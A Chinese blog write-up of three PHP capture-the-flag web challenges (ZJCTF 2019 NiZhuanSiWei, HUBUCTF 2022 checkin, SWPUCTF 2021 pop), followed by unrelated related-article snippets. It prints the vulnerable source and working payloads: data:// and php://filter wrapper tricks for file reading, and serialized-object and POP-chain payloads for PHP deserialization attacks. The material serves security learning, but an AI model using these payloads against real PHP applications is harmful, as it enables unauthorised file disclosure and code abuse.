[ZJCTF 2019]NiZhuanSiWei、[HUBUCTF 2022 新生赛]checkin、[SWPUCTF 2021 新生赛]pop

目录

[ZJCTF 2019]NiZhuanSiWei

[HUBUCTF 2022 新生赛]checkin

1.PHP 关联数组      PHP 数组 | 菜鸟教程

2.PHP 弱比较绕过        PHP 类型比较 | 菜鸟教程

[SWPUCTF 2021 新生赛]pop


[ZJCTF 2019]NiZhuanSiWei

BUUCTF [ZJCTF 2019]NiZhuanSiWei特详解(php伪协议+序列化与反序列化)-CSDN博客

代码审计

<?php  
// 获取GET请求中的text、file和password参数
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];

// 检查text参数是否设置,并且其内容是否等于"welcome to the zjctf"
if(isset($text) && (file_get_contents($text,'r')==="welcome to the zjctf")){
    // 如果条件满足,则输出text的内容
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    
    // 检查file参数是否包含字符串"flag"
    if(preg_match("/flag/",$file)){
        // 如果包含"flag",则输出"Not now!"并停止执行
        echo "Not now!";
        exit(); 
    }else{
        // 如果不包含"flag",则包含指定的文件(例如:useless.php)
        include($file);  //useless.php
        
        // 将password参数反序列化
        $password = unserialize($password);
        
        // 输出反序列化后的password值
        echo $password;
    }
}
else{
    // 如果text参数未设置或其内容不等于"welcome to the zjctf",则高亮显示当前脚本的源代码
    highlight_file(__FILE__);
}
?>

第一层:

PHP file_get_contents() 函数

file_get_contents() 把整个文件读入一个字符串中。

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

GET传参text,内容为welcome to the zjctf。可使用date://协议(或POST传参php:input//协议)

GTE传参text:

?text=data://text/plain,welcome to the zjctf

第二层:

正则过滤了flag字符串,直接访问/useless.php依然为开始的代码

可使用php://filter   读取源代码并进行base64编码输出。

GET传参file:

php://filter/convert.base64-encode/resource=文件路径

file=php://filter/convert.base64-encode/resource=useless.php

得到一段base64编码,解码得到一段php代码

<?php  

class Flag{  //flag.php(注释存在flag.php)           //定义名为Flag的类
    public $file;                                    //公共属性 file
    public function __tostring(){                    //魔术方法,把对象当成字符串调用时触发
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

第三层:进行序列化操作

<?php  
class Flag
{
    public $file='flag.php';
}  
$a=new Flag();
echo serialize($a);
?>

GET传参password:

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//最终payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源代码得到flag

[HUBUCTF 2022 新生赛]checkin

[HUBUCTF 2022 新生赛]checkin-CSDN博客

代码审计

<?php
// 显示当前文件的源代码
show_source(__FILE__);

// 定义用户名和密码
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 

// 包含flag.php文件,这里我修改了那两个值
include("flag.php");//here I changed those two

// 获取名为'info'的GET参数,如果不存在则默认为空字符串
$info = isset($_GET['info']) ? $_GET['info'] : "";

// 对获取的信息进行反序列化
$data_unserialize = unserialize($info);

// 检查反序列化后的数据中的用户名和密码是否与定义的用户名和密码匹配
if ($data_unserialize['username'] == $username && $data_unserialize['password'] == $password) {
    // 如果匹配,显示flag
    echo $flag;
} else {
    // 如果不匹配,显示错误消息
    echo "username or password error!";
}
?>

1.PHP 关联数组      PHP 数组 | 菜鸟教程

在 PHP 中,array() 函数用于创建数组

1.array()函数:采用以逗号分隔的键值对列表。每个键值对都写为键 => 值,其中键是字符串键,值是与键关联的值。

$student = array(
    "name" => "line",
    "age" => 100,
    "stream" => "Computer Science"
);

2.方括号表示法:定义数组,然后使用方括号表示法为其分配键值对。

$student["name"] = "line";
$student["age"] = 100;
$student["major"] = "Computer Science";

2.PHP 弱比较绕过        PHP 类型比较 | 菜鸟教程

在 PHP 弱比较时会发生类型转换,若一端为布尔类型,另一端为其他类型,在转换时会将其他类型转换为布尔类型。 在转换的时候,非 0 为 true ,0 为 false 。

第一层:用户名和密码先被修改了,可用关联数组重新定义。

第二层:检查反序列化后的用户名和密码时使用了==若比较,故可将数组中的值全部设置为布尔值 true。

构造代码:

<?php
$info=array("username"=>true,"password"=>true);
echo serialize($info);
?>

构造payload,得到flag:

?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

[SWPUCTF 2021 新生赛]pop

[SWPUCTF 2021 新生赛]pop    (不是很会这个题,多学习)

打开环境,这是一个pop链  包含w44m、w22m、w33m三个类

<?php
error_reporting(0); // 关闭所有错误报告
show_source("index.php"); // 显示index.php文件的源代码,这可能是为了调试目的

// 定义一个名为w44m的类,它有两个私有属性:admin和passwd
class w44m{
    private $admin = 'aaa'; // admin属性的默认值是'aaa'
    protected $passwd = '123456'; // passwd属性的默认值是'123456'

    // Getflag方法用于检查admin和passwd的值是否匹配,如果是则包含flag.php文件并输出$flag
    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin; // 输出admin的值
            echo $this->passwd; // 输出passwd的值
            echo 'nono'; // 输出字符串'nono'
        }
    }
}

// 定义一个名为w22m的类,它有一个公共属性w00m
class w22m{
    public $w00m;
    // __destruct魔术方法在对象被销毁时调用,这里只是简单地输出w00m的值
    public function __destruct(){
        echo $this->w00m;
    }
}

// 定义一个名为w33m的类,它有两个公共属性w00m和w22m
class w33m{
    public $w00m;
    public $w22m;
    // __toString魔术方法在对象被当作字符串时调用,这里调用了w00m对象的w22m属性所指向的方法
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

// 通过GET请求获取名为w00m的参数,并将它的值反序列化成一个对象
$w00m = $_GET['w00m'];
unserialize($w00m);
?>

第一层:需要构造pop链,w44m类里面的Getflag()函数可以用来读取flag,因此将它作为pop链的尾部。

第二层:w33m类中,$this->w00m->{$this->w22m}();能调用函数

      所以需要给$w00m赋一个w44m类,然后再给$w22m赋一个Getflag(),就能成功调用该函数。

第三层:__toString魔术方法在对象被当作字符串时调用,w22m类中echo $this->w00m;使用了__destruct()类的析构函数,对象被销毁时触发。

所以要给w00m赋一个w33m类,就能调用w33m类。

构造代码:

<?php
class w44m{
    private $admin='w44m';
    protected $passwd='08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

$a=new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag';

echo urlencode(serialize($a));
?>

构造payload,得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/685933.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[word] word怎样转换成pdf #职场发展#经验分享#职场发展

word怎样转换成pdf word怎样转换成pdf&#xff1f;word格式是办公中常会用到的格式&#xff0c;word格式编辑好了要想转换成pdf格式再来传输的话需要怎么操作呢&#xff1f;小编这就给大家分享下操作方法&#xff0c;一起来学习下吧&#xff01; 1、安装得力PDF转换器&#x…

C语言 io-文件拷贝

#include <stdio.h> int main(int argc, const char *argv[]) {//1文件拷贝到2文件FILE* fileAfopen(argv[1],"r");FILE* fileBfopen(argv[2],"w");if(NULLfileA){perror("fopen");return -1;}if(NULLfileB){perror("fopen");re…

LangChain 一 hello LLM

本来想先写LangChain系列的&#xff0c;但是最近被AutoGen、LlamaIndex给吸引了。2023就要过去了&#xff0c;TIOBE数据编程语言排名Python都第一了&#xff0c;可见今年AI开发之热。好吧&#xff0c;一边学习业界通用的LangChain框架&#xff0c;一边准备跨年吧。 前言 先是O…

Mac下删除系统自带输入法ABC,正解!

一、背景说明 MacOS 在 14.2 以下的系统存在中文输入法 BUG&#xff0c;会造成系统卡顿&#xff0c;出现彩虹圆圈。如果为了解决这个问题&#xff0c;有两种方法&#xff1a; 升级到最新的 14.5 系统使用第三方输入法 在使用第三方输入法的时候&#xff0c;会发现系统自带的 …

mysql启动出现Error: 2 (No such file or directory)

查看mydql状态 systemctl status mysqlThe designated data directory /var/lib/mysql/ is unusable 查看mysql日志 tail -f /var/log/mysql/error.logtail: cannot open ‘/var/log/mysql/error.log’ for reading: No such file or directory tail: no files remaining 第…

网关API(SpringCloudGateway)如何自定义Filter

1.前言 SpringCloud 虽然给我们提供了很多过滤器&#xff0c;但是这些过滤器功能都是固定的&#xff0c;无法满足用户的各式各样的需求。因此SpringCloud提供了过滤器的扩展功能自定过滤器。 开发者可以根据自己的业务需求自定义过滤器。 2. 自定义 GatewayFilter(局部过滤器)…

【NLP】2、大语言模型综述

一、背景和发展历程 大语言模型四个训练阶段&#xff1a; 预训练&#xff1a; 利用海量的训练数据&#xff0c;包括互联网网页、维基百科、书籍、GitHub、 论文、问答网站等&#xff0c;构建包含数千亿甚至数万亿单词的具有多样性的内容。利用由数千块高性能 GPU 和高速网络组成…

C语言指针介绍其一

指针是什么&#xff1f; 指针是内存中一个最小单元&#xff08;一个字节&#xff09;的编号&#xff0c;也就是地址&#xff0c;每一个单元都有属于自己的地址。 平时我们说的指针一般说的是指针变量&#xff0c;用来存放内存地址的变量就叫指针变量。 指针变量 int main()…

Postgresql中json和jsonb类型区别

在我们的业务开发中&#xff0c;可能会因为特殊【历史&#xff0c;偷懒&#xff0c;防止表连接】经常会有JSON或者JSONArray类的数据存储到某列中&#xff0c;这个时候再PG数据库中有两种数据格式可以直接一对多或者一对一的映射对象。所以我们也可能会经常用到这类格式数据&am…

Vivado 设置关联使用第三方仿真软件 Modelsim

目录 1.前言2.Vivado 设置关联使用第三方仿真软件 Modelsim 微信公众号获取更多FPGA相关源码&#xff1a; 1.前言 Vivado 软件自带有仿真功能,该功能使用还是比较方便的,初学者可以直接使用自带的仿真功能。 Modelsim仿真工具是Model公司开发的。它支持Verilog、VHDL以及他…

服务器遭遇UDP攻击时的应对与解决方案

UDP攻击作为分布式拒绝服务(DDoS)攻击的一种常见形式&#xff0c;通过发送大量的UDP数据包淹没目标服务器&#xff0c;导致网络拥塞、服务中断。本文旨在提供一套实用的策略与技术手段&#xff0c;帮助您识别、缓解乃至防御UDP攻击&#xff0c;确保服务器稳定运行。我们将探讨监…

【重学C语言】十八、SDL2 图形编程介绍和环境配置

【重学C语言】十八、SDL2 图形编程介绍和环境配置 **SDL2介绍**SDL 2用途SDL 在哪些平台上运行&#xff1f;下载和安装 SDL2安装 SDL2 clion 配置 SDL2 SDL2介绍 SDL2&#xff08;Simple DirectMedia Layer 2&#xff09;是一个开源的跨平台多媒体开发库&#xff0c;主要用于游…

项目:基于httplib/消息队列负载均衡式在线OJ

文章目录 写在前面关于组件开源仓库和项目上线其他文档说明项目亮点 使用技术和环境项目宏观结构模块实现compiler模块runner模块compile_run模块compile_server模块 基于MVC结构的OJ服务什么是MVC&#xff1f;用户请求服务路由功能Model模块view模块Control模块 写在前面 关于…

Windows11下Docker使用记录(五)

目录 准备1. WSL安装cuda container toolkit2. win11 Docker Desktop 设置3. WSL创建docker container并连接cuda4. container安装miniconda&#xff08;可选&#xff09; Docker容器可以从底层虚拟化&#xff0c;使我们能够在 不降级 CUDA驱动程序的情况下使用 任何版本的CU…

激活函数对比

激活函数 sigmoid / tanh / relu / leaky relu / elu / gelu / swish 1、sigmoid 优缺点 1) 均值!0&#xff0c;导致fwxb求导时&#xff0c;方向要么全正要么全负 可以通过batch批量训练来缓解 2) 输入值大于一定范围梯度就会消失 3) 运算复杂 2、tanh 优缺点 1) 均值0 2)…

Ubuntu部署开源网关Apache APISIX

说明 系统&#xff1a;Ubuntu 24.04 LTSDocker版本&#xff1a;v26.1.3Docker Compose版本&#xff1a;v2.26.1 下载和配置 Ubuntu需要安装Docker和Docker Compose 下载apisix-docker仓库 git clone https://github.com/apache/apisix-docker.git修改docker-compose 配置e…

接口自动化框架封装思想建立(全)

httprunner框架&#xff08;上&#xff09; 一、什么是Httprunner&#xff1f; 1.httprunner是一个面向http协议的通用测试框架&#xff0c;以前比较流行的是2.X版本。 2.他的思想是只需要维护yaml/json文件就可以实现接口自动化测试&#xff0c;性能测试&#xff0c;线上监…

【2024】零基础Python 快速入门篇

2023年是AI的元年&#xff0c;AI的爆火不仅推动了科技领域的进步&#xff0c;更让 Python 语言成为了这一变革中的关键角色。 Python 语言简单易懂&#xff0c;语法清晰明了&#xff0c;懂一点英语的都能学得会。很适合在职场摸爬滚打多年的前端组长作为捅破天花板的语言&…

【漏洞复现】用友NC downCourseWare 任意文件读取漏洞

0x01 产品简介 用友NC是一款企业级ERP软件。作为一种信息化管理工具&#xff0c;用友NC提供了一系列业务管理模块&#xff0c;包括财务会计、采购管理、销售管理、物料管理、生产计划和人力资源管理等&#xff0c;帮助企业实现数字化转型和高效管理。 0x02 漏洞概述 用友NC …

贪心算法学习一

例题一 解法&#xff08;贪⼼&#xff09;&#xff1a; 贪⼼策略&#xff1a; 分情况讨论&#xff1a; a. 遇到 5 元钱&#xff0c;直接收下&#xff1b; b. 遇到 10 元钱&#xff0c;找零 5 元钱之后&#xff0c;收下&#xff1b; c. 遇到 20 元钱&#xff1a…